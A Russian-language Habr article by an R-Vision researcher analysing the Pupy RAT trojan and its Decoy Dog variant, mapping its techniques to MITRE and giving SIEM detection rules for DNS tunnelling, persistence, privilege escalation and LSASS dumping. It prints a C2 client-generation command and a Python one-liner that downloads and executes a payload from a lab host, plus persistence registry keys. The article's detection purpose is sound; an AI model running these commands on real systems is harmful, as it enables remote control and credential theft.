Привет, Хабр!
Меня зовут Борис Нестеров, я аналитик-исследователь угроз кибербезопасности в компании R-Vision. Сегодня я хочу рассказать о трояне Pupy Rat, и его модификациях Decoy Dog. Pupy Rat распространяется с помощью социальной инженерии или доставляется в инфраструктуру после компрометации одного из узлов и активно используется хакерскими группировками в атаках на российские компании. По данным различных источников, по меньшей мере 48 российских организаций в разных отраслях экономики пострадали от действий этого трояна. Об этом можно узнать из новостей на сайтах TheHackerNews, CisoClub, а также из других источников.
Давайте подробнее рассмотрим инструмент Pupy и его наиболее интересные функции. Кроме того, мы обсудим способы обнаружения его использования.
Обзор PupyRat
Pupy RAT — это кроссплатформенное, многофункциональное вредоносное ПО для удаленного доступа к узлу «Жертвы». Инструмент используется для постэксплуатации и написан в основном на Python версии 2. Однако некоторые его функции реализованы с помощью библиотек, созданных на языках программирования C и Go.
Этот инструмент работает по принципу «всё в памяти» и почти не оставляет следов в системе, а также имеет множество функций, перечисленных в репозитории GitHub.
В Pupy Rat поддерживаются различные способы соединения, которые называются launcher
:
connect
— соединение клиента до сервера;bind
— это когда удаленный клиент ожидает подключения от сервера управления.auto_proxy
— автоматически выбирает установленную конфигурацию прокси на целевом хосте и осуществляет подключение через него;dnscnc
— использование протокола DNS для передачи данных.
Наиболее необычным лаунчером является dnscnc
. Он позволяет клиенту взаимодействовать с командным сервером через DNS-туннелирование.
Рассмотрим пример на изображении ниже. Здесь скомпрометированный хост отправляет в запросе информацию о системе в виде закодированной строки Base64
, разделенной знаком -
. Поскольку в DNS-запросе нельзя использовать символ =
, который используется алгоритмом для заполнения блока, этот символ заменяется на _
.
Pupy Rat использует свой алгоритм кодирования полезной нагрузки. Он приведен в файле dns_encoder.py. и основывается на преобразованиях данных по алгоритму Хаффмана с использованием таблицы кодирования dns_encoder_table.py.
Использование DNS-туннелирования атакующими можно обнаружить путем подсчета количества уникальных запросов к одному родительскому домену.
Под спойлером приведён фрагмент кода детектирующего правила. В этом фрагменте для подсчёта уникальных DNS-запросов используется объект «Активный список», который хранит статистику по различным доменам.
Фрагмент правила "Использование DNS туннеля"
aliases:
DNSEvent:
filter: !vrl |
# Установленный триггер уникальных запросов к домену до наступления корреляционного события
TRIGGER_COUNT = 50
isPossibleDNSTunneling = false
isExcludeDomain = false
# Список исключений для легальных доменов доменов
excludeDomain = ["domain.local"]
queryName = to_string(.cs1) ?? ""
host = to_string(.dvchost) ?? ""
queryNameList = split(queryName,".",limit: 2)
payload = to_string(queryNameList[0])
parentDomain = queryNameList[1]
for_each(excludeDomain) -> |_index, value| {
if ( parentDomain == value){
isExcludeDomain = true
}
}
if (!isExcludeDomain) {
dns_query = get_active_record("dns_queries_count",{"domain": parentDomain, "host": host}) ?? {}
if (dns_query == null) {
res, err = add_active_record("dns_queries_count", {"domain": parentDomain, "host": host, "unique" : payload ,"count": 1})
} else {
unique_list = to_string(dns_query.unique) ?? ""
if (!contains(unique_list, payload)) {
dnsRequestCount = (to_int(dns_query.count) ?? 0) + 1
res, err = add_active_record("dns_queries_count", {"domain": parentDomain,"host": host, "unique" : join([unique_list,payload],separator: ";") ?? "", "count": dnsRequestCount})
if (dnsRequestCount == TRIGGER_COUNT) {
isPossibleDNSTunneling = true
}
}
}
}
isPossibleDNSTunneling
После ознакомления с основными особенностями инструмента можем перейти к установке сервера.
Развертывание PupyRat
Установка сервера
Чтобы развернуть сервер управления, вы можете обратиться к инструкции, которая представлена в репозитории Pupy Rat в разделе Wiki. Сервер написан на Python 2 и имеет множество зависимостей в виде устаревших библиотек установка которых может стать нетривиальной задачей. Однако есть более простой способ — использовать готовый Docker образ для развёртывания сервера.
Инструкция по развертыванию сервера в контейнере Docker, а также docker-compose файл доступны в репозитории Github.
Сервер Pupy Rat поддерживает различные способы передачи данных, называемые транспортами. Их список приведен в документации.
По умолчанию, после запуска сервера Pupy Rat
, доступны только SSL-соединения. Для использования нового транспорта на сервере поднимается listen
. Для добавления дополнительного listen
на сервере Pupy Rat требуется выполнить команду:
listen -a {{Имя транспорта}}
Теперь, когда сервер управления запущен, мы можем сгенерировать клиенты и подключить их.
Запуск агента на целевом хосте
Pupy Rat
предлагает широкий выбор клиентов для самых популярных архитектур и операционных систем. Чтобы создать нового клиента, можно воспользоваться командой gen
или скриптом pupygen.py.
На рисунке показан пример создания агента в виде бинарного исполняемого файла для операционной системы Windows с архитектурой x64. Этот агент использует транспорт obfs3 (
протокол для обфускации трафика, активно используется в сетях Tor).
Pupy Rat поддерживает различные виды клиентских агентов: client
, py
, pyinst
, ps1
, ps1_oneliner
, rubber_ducky
, csharp.NET
, .NET_oneliner
.
Для генерации py_oneliner
клиента, использующего транспорт http
и самостоятельно инициирующего соединение к серверу для получения управляющих команд, можем выполнить команду в консоли запущенного сервера:
gen -f py_oneliner -O linux -A x64 connect --host 10.10.10.10:9000 -t http
Сгенерированный клиент py_oneliner выглядит в виде строки Python кода:
python2.7 -c 'import urllib;exec
urllib.urlopen("http://10.10.10.10:9000/SEU0v9YFfK/mkI4vvlhEe").read()'
Где:
http://10.10.10.10
— адрес, на котором запущен сервер Papy Rat.SEU0v9YFfK
— идентификатор сервера, который генерируется при запуске сервера.mkI4vvlhEe
— идентификатор payload, который создается при каждой генерации нового клиента.-
Payload, сгенерированный с типом
py_oneliner
, может использоваться в операционной системе Linux и Windows на неограниченном количестве клиентов.
Данный payload достаточно выполнить на удаленном клиенте с установленным интерпретатором python версии 2.7.При запуске клиента
py_oneliner
загружается с сервераPapy Rat
и исполняется обфусцированный Python-скрипт. Загрузка осуществляется в память, в связи с чем не остается следов в файловой системе.При этом при выполнении команды в логе auditd фиксируется событие системного вызова
execve
, где в поляхa0...an
фиксируется выполненная команда (после нормализации в R-Vision SIEM значение данных полей записывается в полеcmd
).
При запуске скрипта на устройстве с операционной системой Windows фиксируется событие с EventID 4688 (Process Creation) журнала Security
и с EventID 1 (Process Creation) журнала Sysmon/Operational
:
Запуск скрипта можно детектировать по вхождению в поле cmd значений python
или py
, а также использования функции urlopen
библиотеки urllib
. Такие события являются триггером в правилах R-Vision SIEM.
В результате работы правил мы получим оповещение в R-Vision SIEM.
Теперь, когда наш клиент сгенерирован и запущен, мы можем рассмотреть, как им управлять.
Управление клиентами
После подключения клиента к серверу он появляется в списке sessions:
Pupy Rat предоставляет возможность управления как всеми агентами одновременно, так и по отдельности. Для выбора активного агента используется команда:
sessions -i <id session>
Активный агент подсвечивается в меню sessions
более ярко.
Выполнение команд на агенте доступно через команду run:
run {{команда}}
Функционал проведения атак
Сторонние фреймворки
Pupy Rat — это удобный C2-сервер, который включает в себя различные инструменты от сторонних разработчиков. Для его работы используются внешние зависимости:
PowerSploit — набор PowerShell инструментов. В Pupy Rat представлен двумя скриптами:
Invoke-ReflectivePEInjection
иPowerView
.Invoke-ReflectivePEInjection
используется для загрузки исполняемого файла dll в процессPowerShell
.WinPwnage — это инструмент для операционных систем семейства Windows, который позволяет выполнять методы обхода UAC, повышения привилегий и закрепления.
Использование инструмента в Pupy подробнее рассмотрим ниже.LaZagne — это приложение, используемое для получения паролей, хранящихся на локальном компьютере. Пример применения приложения представим ниже.
linux-exploit-suggester — скрипт на языке shell для поиска потенциальных уязвимостей в операционной системе Unix и соответствующих им эксплойтов.
winpty — это программный пакет для Windows, предоставляющий интерфейс, похожий на
Unix pty-master
, для связи с консольными программами Windows.memorpy — утилита позволяет искать и изменять данные процессов, загруженных в память, с использованием библиотеки
ctypes
. Поддерживается операционная система Windows, Linux, MacOS.mimipy — утилита для дампа паролей из памяти различных процессов.
inveigh — проводит спуфинг-атаки и захват хэшей/учетных данных как с помощью анализа пакетов, так и с помощью специфичных для протокола сокетов.
pyopus — кодек для интерактивной передачи речи и звука через Интернет. wesng - утилита поиска уязвимостей, основанная на выводе systeminfo.
injector — библиотека для внедрения кода в исполняемой области процесса. Работает с OS Windows, Linux, MacOS.
Функционал фреймворков невозможно описать в рамках одной статьи. Однако мы рассмотрим наиболее распространённые методы, которые используют злоумышленники для получения и расширения привилегий в Pupy Rat.
Закрепление через ключи реестра
Для закрепления в системе при помощи реестра используется инструмент WinPwnage.
Для его удобного использования Pupy Rat предоставляет модуль persistence
.
Для закрепления через реестр используются следующие ключи реестра:
Вы можете обнаружить попытки закрепления через реестр с помощью R-Vision SIEM. Для этого следует использовать правило «Закрепление в системе путём изменения ключей автозапуска в реестре»
, которое выполняет детект через событие RegistryEvent (Value Set) EventID 13 журнала Sysmon/Operational.
На рисунке ниже представлены нормализованные события, связанные с изменением ключей реестра, которые могут указывать на попытки закрепления.
В нормализованном событии в поле filePath
помещается измененный ключ реестра, а в поле cs4
— устанавливаемое значение ключа.
Под спойлером вы найдёте фрагмент кода, который отвечает за детектирование закрепления через реестр. В секции aliases
проверяется, есть ли изменённый ключ реестра в списке ключей, которые используются для закрепления. Если такое соответствие найдено, то генерируется корреляционное событие.
Фрагмент правила "Закрепление в системе путем изменения ключей автозапуска в реестре"
filter: !vrl |
.dvendor == "Microsoft" &&
# Фильтруем событие изменения реестра Sysmon на установление значения реестра
(.externalId == "13")
aliases:
modifty_reg:
filter: !vrl |
# Ключи реестра используемые для закрепления Pupy
# Оргинальное правило содержит более 130 различных ключей реестра которые могут применяться для закрпепления
registry_run_keys = [
"\\\\software\\\\wow6432node\\\\microsoft\\\\windows nt\\\\currentversion\\\\image file execution options",
"\\\\software\\\\microsoft\\\\windows nt\\\\currentversion\\\\image file execution options",
"\\\\software\\\\microsoft\\\\windows nt\\\\currentversion\\\\winlogon\\\\userinit",
"\\\\software\\\\wow6432node\\\\microsoft\\\\windows\\\\currentversion\\\\run",
"\\\\software\\\\microsoft\\\\windows\\\\currentversion\\\\run"
]
# Список исключений процессов легитимно использующих реестр для автозапуска
exclude_process_list =["\\\\microsoft\\\\edge\\\\application\\\\msedge.exe","\\\\windows\\\\system32\\\\sihost.exe"]
isPersistence = false
isExcludeProcess = false
filePath = downcase(to_string(.filePath) ?? "")
dproc = downcase(to_string(.dproc) ?? "")
# Проверка соответсвия списку исключений
for_each(exclude_process_list) -> |_index, value| {
if ends_with(dproc, value){
isExcludeProcess = true
}
}
if (isExcludeProcess != true) {
for_each(registry_run_keys) -> |_index, value| {
if contains(filePath, value){
isPersistence = true
}
}
}
# Ключ реестра DebugPath приложения People (полный путь отличается в зависимости от версии поэтому вынесен в отдельную проверку)
if (contains_all(filePath, ["\\\\activatableclasses\\\\package\\\\microsoft.people_", "debuginformation", "debugpath"])) {
isPersistence = true
}
# Ключ реестра DebugPath приложения Cortana (полный путь отличается в зависимости от версии поэтому вынесен в отдельную проверку)
if (contains_all(filePath, ["\\\\activatableclasses\\\\package\\\\microsoft.windows.cortana_", "debuginformation", "debugpath"])) {
isPersistence = true
}
isPersistence && !isExcludeProcess
Закрепление через создание сервиса
Pupy Rat поддерживает метод закрепления при помощи Windows Service (метод 12 модуля persistence). Этот метод закрепления можно детектировать, используя событие с EventID 4697 (A service was installed in the system) журнала Security
. Фрагмент события создания сервиса в формате JSON из RQL-песочницы в R-Vision SIEM:
Имя сервиса записывается в значении поля destinationServiceName
, параметры выполнения в значении поля filePath
. Поля suser
, sntdom
, shost
помогают локализовать событие по пользователю и хосту.
О данном событии SIEM-система оповестит благодаря корреляционному правилу «Создан сервис с подозрительными параметрами»
. В правиле проверяется наличие подозрительных параметров при создании сервиса, например, содержащие cmd.exe
или rundll32.exe
. Под спойлером приведен фрагмент правила на языке VRL:
Фрагмент правила "Создан сервис с подозрительными параметрами"
# фильтрация событий 4697 журнала Security
filter: !vrl |
.dvendor == "Microsoft" &&
.externalId == "4697"
aliases:
install_service:
filter: !vrl |
isSuspect = false
# функция math_any проверяет вхождение в соответсвии с регулярным выраженим. Все шаблоны проверяются за один проход по целевой строке, что дает потенциальное преимущество в производительности.
if match_any(to_string(downcase(.filePath) ?? "-"),
[r'powershell',
r'%comspec%', r'echo+.+\\pipe\\', r'^cmd\s', r'cmd\.exe',
r'\\temp',
r'\\tmp', r'\%temp\%', r'\%tmp\%', r'admin$',
r'\\users\\\\public\\',
r'\\appdata\\', r'\\perflogs\\',r`rundll32\.exe`]) {
isSuspect = true }
isSuspect
Закрепление через записи автозагрузки XDG (Linux)
Для операционных систем семейства Linux Pupy Rat использует метод создания конфигурационного файла XDG в директории /home/{{username}}/.config/autostart/
, который маскируется под сервис dbus.
Ниже представлен фрагмент кода, отвечающий за создание конфигурационного файла демона dbus. Описание кода представлено в качестве комментариев на рисунке ниже:
При создании конфигурационного файла генерируется событие auditd с системным вызовом openat
(открытие файла) и с правами на запись в файл в директории autostat
:
R-Vision SIEM зафиксирует закрепление благодаря правилу «Закрепление с использованием записей автозагрузки XDG»
, фрагмент которого приведен на рисунке:
Правило отслеживает добавление или изменение конфигурационных файлов по путям /.config/autostart
и /etc/xdg/autostart
на основе системного вызова openat. Полный код правила под спойлером.
Правило "Закрепление с использованием записей автозагрузки XDG"
id: 6afd1a7c-95d9-43b9-94d8-e4ef38451eca
name: Закрепление в системе с использованием записей автозагрузки XDG
version: 1.0.0
date: 2024-06-11
author: Nesterov Boris, R-Vision
status: stable
type: correlation_rule
severity: medium
description: Атакующие могут добавлять или изменять XDG Autostart Entries
(записи автозагрузки XDG) для выполнения вредоносных программ
или команд при входе пользователя в систему. XDG Autostart entries
используют файлы .desktop для настройки окружающей среды пользователя
и определяют какие приложения должны запускаться при входе
пользователя. Правило детектирует создание и изменение файлов
в директориях, где по умолчанию содержатся записи автозагрузки.
В случае сработки правила рекомендуется проверить ПО, указанное в
параметре Exec измененного или созданного конфигурационного файла.
tags:
- linux
- Persistence
- Privilege Escalation
- attack.T1547
- attack.T1547.013
data_source:
- Linux
- auditd
- openat
- R-Point
- object-access
known_false_positives:
- "Использование файлов .desktop в директории XDG autostart администраторами системы для автозапуска приложений"
- "Установка программного обеспечения, использующего записи XDG для автозапуска"
filter: !vrl |
.dvendor == "Linux" &&
.cat == "OA"
aliases:
oa_autostart:
filter: !vrl |
filePath = downcase(to_string(.filePath) ?? "-")
(contains(filePath, ".config/autostart") ||
contains(filePath, "/etc/xdg/autostart")) &&
.filePermission == "w" &&
contains(filePath, ".desktop")
select:
alias: oa_autostart
throttle_time_sec: 10
ttl: 10
on_correlate: !vrl |
.dvchost = to_string(%oa_autostart.dvchost) ?? "-"
.duser = to_string(%oa_autostart.duser) ?? "-"
.suser = to_string(%oa_autostart.suser) ?? "-"
.dproc = to_string(%oa_autostart.dproc) ?? "-"
.filePath = to_string(%oa_autostart.filePath) ?? "-"
.cmd = to_string(%oa_autostart.cmd) ?? "-"
.msg = join(["На хосте", .dvchost, "пользователь", .suser, "изменил или создал файл", .filePath, ", что может быть признаком закрепления в системе через запись XDG"], " ") ?? ""
Повышение привилегий при помощи именованных каналов
Для повышения привилегий в системах с ОС семейства Windows используется инструмент WinPwnage. Данный инструмент позволяет повысить привилегии за счет Named Pipes. В данном методе создается именованный канал от несистемного пользователя, затем происходит подключение пользователя к нему уже с системными правами. Факт создания именного канала регистрируется в событии Pipe created EventID 17 журнала Sysmon/Operational
, а подключение фиксируется в событии Pipe connected EventID 18.
Под спойлером приведен фрагмент правила «Кража токена доступа при помощи именованных каналов»
в R-Vision SIEM, детектирующего данную активность.
Фрагмент правила "Кража токена доступа при помощи именованных каналов"
filter: !vrl |
.dvendor == "Microsoft" &&
includes(["17", "18"], .externalId)
aliases:
event17:
filter: !vrl |
.externalId == "17" &&
(downcase(to_string(.suser) ?? "") != "system" && downcase(to_string(.sntdom) ?? "") != "nt authority")
event18:
filter: !vrl |
.externalId == "18" &&
(downcase(to_string(.suser) ?? "") == "system" && downcase(to_string(.sntdom) ?? "") == "nt authority")
select:
alias: event17
join:
alias: event18
on:
- eq: {event17: .dvchost, event18: .dvchost}
- eq: {event17: .cs6, event18: .cs6}
Дамп учетных данных из lsass
Для получения сохранённых учетных данных Pupy Rat использует инструмент LaZagne. Проект LaZagne — это приложение с открытым исходным кодом, используемое для получения списка паролей, хранящихся на локальном компьютере. Инструмент интерпретируется в памяти, не касаясь диска, и он работает на хостах под управлением Windows и Linux. Пример результата работы инструмента:
Инструмент LaZagne использует для доступа к учетным данным функцию MiniDumpWriteDump из библиотеки dbghelp.dll
(метод через comsvcs.dll
), которая характерна маской доступа «0×1478»
к процессу lsass.exe
. Данная маска доступа образовывается в результате суммирования в шестнадцатеричном виде исходных масок для ниже представленных прав:
PROCESS_QUERY_LIMITED_INFORMATION
PROCESS_DUP_HANDLE
PROCESS_QUERY_INFORMATION
PROCESS_VM_OPERATION
PROCESS_VM_WRITE
PROCESS_VM_READ
Для вызова функции MiniDumpWriteDump
необходимы права PROCESS_QUERY_INFORMATION
и PROCESS_VM_READ
. Обращение к памяти процесса lsass.exe
регистрируется в событии ProcessAccess EventID 10 журнала Sysmon/Operational
. R-Vision SIEM создает оповещение об этом благодаря правилу «Подозрительный доступ к памяти процесса LSASS (Sysmon)».
Правило обрабатывает событие обращения к процессу lsass.exe
. В событии проверяется окончание маски доступа, характерной для чтения памяти процесса. В спойлере приведен фрагмент правила на языке VRL:
Фрагмент правила "Подозрительный доступ к памяти процесса LSASS (Sysmon)"
filter: !vrl |
.dvendor == "Microsoft" &&
(.externalId == "10" &&
{ dproc = downcase(to_string(.dproc) ?? "-");
if contains(dproc, "lsass.exe")
{ true } else { false } })
aliases:
event:
filter: !vrl |
isEXCEPT = true
isACCESSorUNKNOWN = false
accessMask = downcase(to_string(.accessMask) ?? "-");
oldFilePath = downcase(to_string(.oldFilePath) ?? "-");
dproc = downcase(to_string(.dproc) ?? "-");
sproc = downcase(to_string(.sproc) ?? "-");
#все уникальные окончания масок доступа, которые может содержать PROCESS_VM_READ
access_list = [
"10", "11", "12","13", "18", "19", "1a", "1b", "30", "31", "32", "33", "38", "39", "3a", "3b", "50", "51", "52", "53", "58", "59", "5a", "5b", "70", "71", "72", "73", "78", "79", "7a", "7b", "90", "91", "92", "93", "98", "99", "9a", "9b", "b0", "b1", "b2", "b3", "b8", "b9", "ba", "bb", "d0", "d1", "d2", "d3", "d8", "d9", "da", "db", "f0", "f1", "f2", "f3", "f8", "f9", "fa", "fb", "ff",
]
exceptions_list = [ #список исключений для процессов в нижнем регистре
":\\\\program files (x86)\\\\ossec-agent\\\\wazuh-agent.exe",
":\\\\windows\\\\sysmon64.exe",
":\\\\windows\\\\system32\\\\csrss.exe",
":\\\\windows\\\\system32\\\\wininit.exe",
":\\\\windows\\\\system32\\\\svchost.exe",
":\\\\windows\\\\system32\\\\msiexec.exe",
":\\\\program files (x86)\\\\google\\\\update\\\\googleupdate.exe",
":\\\\program files (x86)\\\\kaspersky lab\\\\kes.12.3.0\\\\avp.exe",
":\\\\program files (x86)\\\\kaspersky lab\\\\networkagent\\\\vapm.exe",
":\\\\windows\\\\system32\\\\wbem\\\\wmiprvse.exe",
]
for_each(access_list) -> |_index, value| {
if ends_with(accessMask, value) {
isACCESSorUNKNOWN = true
}
}
for_each(exceptions_list) -> |_index, value| {
if contains(sproc, value) {
isEXCEPT = false
}
}
isACCESSorUNKNOWN &&
isEXCEPT
Заключение
В статье мы рассмотрели возможности вредоносного ПО Pupy Rat. Размещение исходного кода в публичном доступе делает этот инструмент доступным для модификации и использования широкому кругу лиц. Так хакеры активно используют в атаках на российские компании модификацию Decoy Dog. Модификация инструмента и применяемые различные способы обфускации помогают обходить статические методы антивирусных решений.
Также анализ показывает, что детектировать использование инструмента можно, отслеживая его воздействие на систему в журналах событий. Задачи по анализу событий с различных источников и получению оперативных оповещений о подозрительной и вредоносной активности может решить продукт R-Vision SIEM, который поставляется с пакетом экспертизы.
Всем спасибо за внимание, буду рад обсудить и ответить на вопросы в комментариях!
MITRE TTPs
ID |
ИМЯ |
ОПИСАНИЕ |
Правило |
Resource Development | |||
T1587.001 |
Develop Capabilities: Malware |
Использует сторонние модули, а так же предусматривает создание кастомных модулей |
|
Initial Access | |||
T1059 |
Command and Scripting Interpreter |
Поддерживает удаленное выполнение произвольных команд на агентах |
|
Persistence | |||
T1543.002 |
Create or Modify System Process: Systemd Service |
Использует механизмы закрепления через Systemd Service |
Изменение сервисов Linux |
T1543.003 |
Create or Modify System Process: Windows Service |
Использует механизмы закрепления через системные сервисы |
Создан сервис с подозрительными параметрами |
T1547.001 |
Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder |
Использует механизмы закрепления через реестр и директории автозагрузки |
Закрепление в системе путем изменения ключей автозапуска в реестре, Зафиксировано возможное закрепление в системе посредством помещения файла в директорию автозагрузки |
T1547.013 |
Boot or Logon Autostart Execution: XDG Autostart Entries |
Использует механизмы закрепления через записи автозагрузки XDG |
Закрепление с использованием записей автозагрузки XDG |
T1546.003 |
Event Triggered Execution: Windows Management Instrumentation Event Subscription |
Использует механизмы закрепления с использованием подписок WMI |
Детектирование создания wmi подписки |
T1053.005 |
Scheduled Task/Job: Scheduled Task |
Использует механизмы закрепления с использованием планировщика задач |
Изменения в планировщике задач |
Privilege Escalation | |||
T1134.001 |
Access Token Manipulation: Token Impersonation/Theft |
Использует механизмы повышения привилегий через олицетворение токена за счет функции API ImpersonateNamedPipeClient |
Кража токена доступа при помощи именованных каналов |
T1134 |
Access Token Manipulation |
Использует механизмы повышения привилегий до уровня System |
Несистемный процесс повысил привилегии до системных |
Defense Evasion | |||
T1036.005 |
Masquerading: Match Legitimate Name or Location |
Использует имена легитимных сервисов |
|
T1620 |
Reflective Code Loading |
Загружает интерпретатор Python прямо в память, используя технику reflective DLL |
|
T1027.013 |
Obfuscated Files or Information: Encrypted/Encoded File |
Использует обфусцированный код клиента |
|
Credential Access | |||
T1003.001 |
OS Credential Dumping: LSASS Memory |
Включает в себя модуль дампа учетных записей из процесс lsass |
Подозрительный доступ к памяти процесса LSASS |
T1555.003 |
Credentials from Password Stores: Credentials from Web Browsers |
Включает в себя модуль дампа учетных записей из браузера |
|
T1555.004 |
Credentials from Password Stores: Windows Credential Manager |
Включает в себя модуль дампа учетных записей из менеджера паролей |
|
T1056.001 |
Input Capture: Keylogging |
Включает в себя модуль кейлогера |
|
Command and Control | |||
T1105 |
Ingress Tool Transfer |
Поддерживает генерацию клиента для дальнейшей его загрузки через PowerShell или Python |
Загрузка файлов с удаленных ресурсов при помощи стандартных утилит |
T1071.004 |
Application Layer Protocol: DNS |
Использует |
|
T1090.001 |
Proxy: Internal Proxy |
Использует Socks Proxy для проброса портов |
|
Discovery |
|||
T1046 |
Network Service Discovery |
Включает в себя сканер TCP портов |
|
Lateral Movement |
|||
T1021.004 |
Remote Services: SSH |
Имеет встроенный ssh клиент |
|
T1021.001 |
Remote Services: Remote Desktop Protocol |
Имеет встроенный rdp клиент |
|
Collection | |||
T1113 |
Screen Capture |
Имеет модуль создания скриншотов |